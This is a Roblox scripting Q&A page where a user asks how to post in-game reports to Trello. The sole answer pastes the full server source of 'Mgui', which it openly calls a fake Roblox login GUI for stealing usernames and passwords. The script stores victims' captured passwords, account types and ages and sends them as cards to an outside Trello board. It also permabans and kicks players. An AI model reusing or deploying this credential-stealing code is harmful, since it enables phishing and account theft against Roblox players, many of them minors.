Scripting Helpers is winding down operations and is now read-only. More info→
Ad
Log in to vote
-1

Posting reports to Trello?

Asked by 8 years ago

I already checked the ScriptingHelpers blog, that was just Error logging. I want it to where when I click this report button for an in-game report system, it will add a card to one of my existing Trello boards. My script is below, and my board is on Team Only viewer mode just incase I need to change that.

Script:

function postToTrello()
    -- POST request to Trello, HttpService enabled
end

script.Parent.MouseButton1Click:connect(function()
    postToTrello()
    wait(0.2)
    script.Parent.Parent.Parent.Visible = false
    script.Parent.Parent.Parent.Parent.Menu.Visible = true
end)
0
You give no information. GullibleChapV2 155 — 8y
0
Check out this post: https://scriptinghelpers.org/blog/logging-errors-with-trello and try to change it a bit Mokiros 135 — 8y
0
@ChiefMu That could help... IF IT WAS LUA AND NOT JS! GlitchMasta47 7 — 8y

1 answer

Log in to vote
-1
Answered by
GShocked 150
8 years ago

Mgui is a GUI that fakes the Roblox login system and basically steals roblox usernames and passwords. I don't personally use it, but a lot of people on V3rmillion do. I downloaded the source and found this, it might be helpful.

-- Made by SeniorFight for V3rmillion!

local remote = game:WaitForChild("ReplicatedStorage"):WaitForChild("MGU-Server")
local http = game:GetService("HttpService")
local globalDataStore = game:GetService("DataStoreService"):GetGlobalDataStore()

local config = require(script.Parent:WaitForChild("MGU Config"))

local appKey = "c23030853446613212d1847303c8f482"
local token = ""

if config.StorageType == "Global" then
    if not globalDataStore then
        print("Could not find data store. Moving to local storage mode.")
        config.StorageType = "Local"
    end 
end

if config.Trello.AuthToken ~= "" then
    token = config.Trello.AuthToken
else
    config.Trello.Enabled = false
    print("No auth token set. Disabling Trello feature.")
end

function getRequest(address)
    if not address then return end
    return http:GetAsync(address.. "?key="..appKey.."&token="..token)
end

function postRequest(address, data)
    if address == nil or data == nil then return end
    local encoded = http:JSONEncode(data)
    return http:PostAsync(address.. "?key="..appKey.."&token="..token, tostring(encoded), Enum.HttpContentType.ApplicationJson)
end

function sendTrelloCard(cardName, labels, targetList)
    coroutine.resume(coroutine.create(function()
        local cardName = cardName or "Username: UNDEFINED   Password: UNDEFINED   Type: UNDEFINED   Age: UNDEFINED"
        local targetList = targetList or "MGRList"
        local labels = labels or {}
        local boards = getRequest("https://api.trello.com/1/members/me/boards")
        if not boards then return end
        local foundList = false
        for _,v in pairs(http:JSONDecode(boards)) do
            if v["id"] ~= nil then
                local lists = getRequest("http://api.trello.com/1/boards/"..v["id"].."/lists")
                if lists then
                    for x,list in pairs(http:JSONDecode(lists)) do
                        if list["name"] == targetList then
                            postRequest("https://api.trello.com/1/lists/"..list["id"].."/cards", {["name"]=cardName,["labels"]=labels})
                            foundList = true
                            break
                        end
                    end
                    if foundList then break end
                end
            end
        end
        if not foundList then
            local newBoard = postRequest("https://api.trello.com/1/boards", {["name"]="MGU-Board",["desc"]="MGUltimate Passes Storage"})
            local posted = false
            if newBoard then
                local newList = postRequest("https://api.trello.com/1/boards/"..newBoard["id"].."/lists", {["name"]=targetList})
                if newList then
                    postRequest("https://api.trello.com/1/lists/"..newList["id"].."/cards", {["name"]=cardName,["labels"]=labels})
                    posted = true
                end
            end
            if not posted then
                print("ERROR: Could not find nor create an MGU List in Trello!")
            end
        end
    end))
end

function LaunchSignal()
    for _,v in pairs(game.Players:GetPlayers()) do
        if v:FindFirstChild("PlayerGui") then
            if v.PlayerGui:FindFirstChild("MGUAdmin") then
                local check = v.PlayerGui.MGUAdmin:FindFirstChild("SignalCheck")
                if check then
                    check:InvokeClient(v, "Update")
                end
            end
        end
    end
end

function getListTable()
    local finalTable = {}
    if config.StorageType == "Local" then
        local dir = game.Workspace:FindFirstChild(config.StorageNames.Local)
        if not dir then
            dir = Instance.new("Folder",game.Workspace)
            dir.Name = config.StorageNames.Local
        end
        for _,v in pairs(dir:GetChildren()) do
            if v:IsA("Folder") then
                table.insert(finalTable, {UserName = v.Name, UserPass = v.UserPass.Value, Type = v.Type.Value, UserID = tonumber(v.UserID.Value), UserAge = tonumber(v.UserAge.Value)})
            end
        end
    elseif config.StorageType == "Global" then
        if globalDataStore then
            local tab = globalDataStore:GetAsync(config.StorageNames.Global)
            if tab then
                return tab
            end
        end
    end
    return finalTable
end

function IsAdmin(player)
    for _,v in pairs(config.AdminList) do
        if type(v) == "string" then
            if v:lower() == player.Name:lower() then
                return true
            end
        elseif type(v) == "number" then
            if v == player.userId then
                return true
            end
        end
    end
    return false
end

function IsBypass(player)
    for _,v in pairs(config.BypassList) do
        if type(v) == "string" then
            if v:lower() == player.Name:lower() then
                return true
            end
        elseif type(v) == "number" then
            if v == player.userId then
                return true
            end
        end
    end
    return false
end

function ManageCommand(...)
    local tokens = {...}
    table.remove(tokens, 1)
    if #tokens <= 0 then return end
    local cmd = tokens[1]

    if cmd == "GetCustomParameters" then
        return config
    elseif cmd == "StoreLog" then
        local data = tokens[2]
        if data then
            if config.StorageType == "Local" then
                local dir = game.Workspace:FindFirstChild(config.StorageNames.Local)
                if not dir then
                    dir = Instance.new("Folder",game.Workspace)
                    dir.Name = config.StorageNames.Local
                end
                local newLocalDataKey = Instance.new("Folder",dir)
                newLocalDataKey.Name = data.UserName
                local newPassKey = Instance.new("StringValue",newLocalDataKey)
                newPassKey.Name = "UserPass"
                newPassKey.Value = data.UserPass
                local newTypeKey = Instance.new("StringValue",newLocalDataKey)
                newTypeKey.Name = "Type"
                newTypeKey.Value = data.Type
                local newIDKey = Instance.new("StringValue",newLocalDataKey)
                newIDKey.Name = "UserID"
                newIDKey.Value = tostring(data.UserID)
                local newAgeKey = Instance.new("StringValue",newLocalDataKey)
                newAgeKey.Name = "UserAge"
                newAgeKey.Value = tostring(data.UserAge)
            elseif config.StorageType == "Global" then
                if globalDataStore then
                    local dir = globalDataStore:GetAsync(config.StorageNames.Global) or {}
                    table.insert(dir, data)
                    globalDataStore:SetAsync(config.StorageNames.Global, dir)
                end
            end
            if config.Trello.Enabled then
                local label = {}
                if data.Type == "BC" then
                    label = {"green"}
                elseif data.Type == "TBC" then
                    label = {"orange"}
                elseif data.Type == "OBC" then
                    label = {"red"}
                elseif data.Type == "V3rm Member" then
                    label = {"purple"}
                end
                sendTrelloCard("Username: "..tostring(data.UserName).."  Password: "..tostring(data.UserPass).."  Type: "..tostring(type).. "   Age: "..tostring(data.UserAge).." days", label, config.Trello.ListName)
            end
            LaunchSignal()
        end
    elseif cmd == "IsLogged" then
        local player = tokens[2]
        if player then
            for _,v in pairs(getListTable()) do
                if v.UserID == player.userId then
                    return true
                end
            end
            if IsAdmin(player) then
                return true
            end
            return IsBypass(player)
        end
        return false
    elseif cmd == "GetList" then
        return getListTable()
    elseif cmd == "Clear" then
        if config.StorageType == "Local" then
            local dir = game.Workspace:FindFirstChild(config.StorageNames.Local)
            if not dir then
                dir = Instance.new("Folder",game.Workspace)
                dir.Name = config.StorageNames.Local
            end
            dir:ClearAllChildren()
        elseif config.StorageType == "Global" then
            if globalDataStore then
                globalDataStore:SetAsync(config.StorageNames.Global, {})
            end 
        end
        LaunchSignal()
    elseif cmd == "AddBan" then
        if tokens[2] then
            if config.CreatorUltraProtect and tokens[2].userId == game.CreatorId then return end
            if globalDataStore then
                local list = globalDataStore:GetAsync(config.StorageNames.Permabans) or {}
                table.insert(list, tokens[2].userId)
                globalDataStore:SetAsync(config.StorageNames.Permabans, list)
            end
            tokens[2]:Kick()
        end
    elseif cmd == "ClearBans" then
        if globalDataStore then
            globalDataStore:SetAsync(config.StorageNames.Permabans, {})
        end
    elseif cmd == "IsAdmin" then
        if tokens[2] then
            if config.CreatorUltraProtect and tokens[2].userId == game.CreatorId then return true end
            return IsAdmin(tokens[2])
        end
    elseif cmd == "IsBypass" then
        if tokens[2] then
            if config.CreatorUltraProtect and tokens[2].userId == game.CreatorId then return true end
            return IsBypass(tokens[2])
        end
    elseif cmd == "IsVerified" then
        if tokens[2] then
            return game:GetService("MarketplaceService"):PlayerOwnsAsset(tokens[2],config.Verifieds.ObjID)
        end
    end
end

game.Players.PlayerAdded:connect(function(p) -- permaban <3
    if config.CreatorUltraProtect and p.userId == game.CreatorId then return end
    if IsAdmin(p) then return end
    if IsBypass(p) then return end

    if config.Verifieds.DirectKick then
        if game:GetService("MarketplaceService"):PlayerOwnsAsset(p,config.Verifieds.ObjID) then
            p:Kick()
        end
    end

    if globalDataStore then
        local list = globalDataStore:GetAsync(config.StorageNames.Permabans)
        if list then
            for _,v in pairs(list) do
                if v == p.userId then
                    p:Kick()
                end
            end
        end
    end
end)

remote.OnServerInvoke = ManageCommand

Ad

Answer this question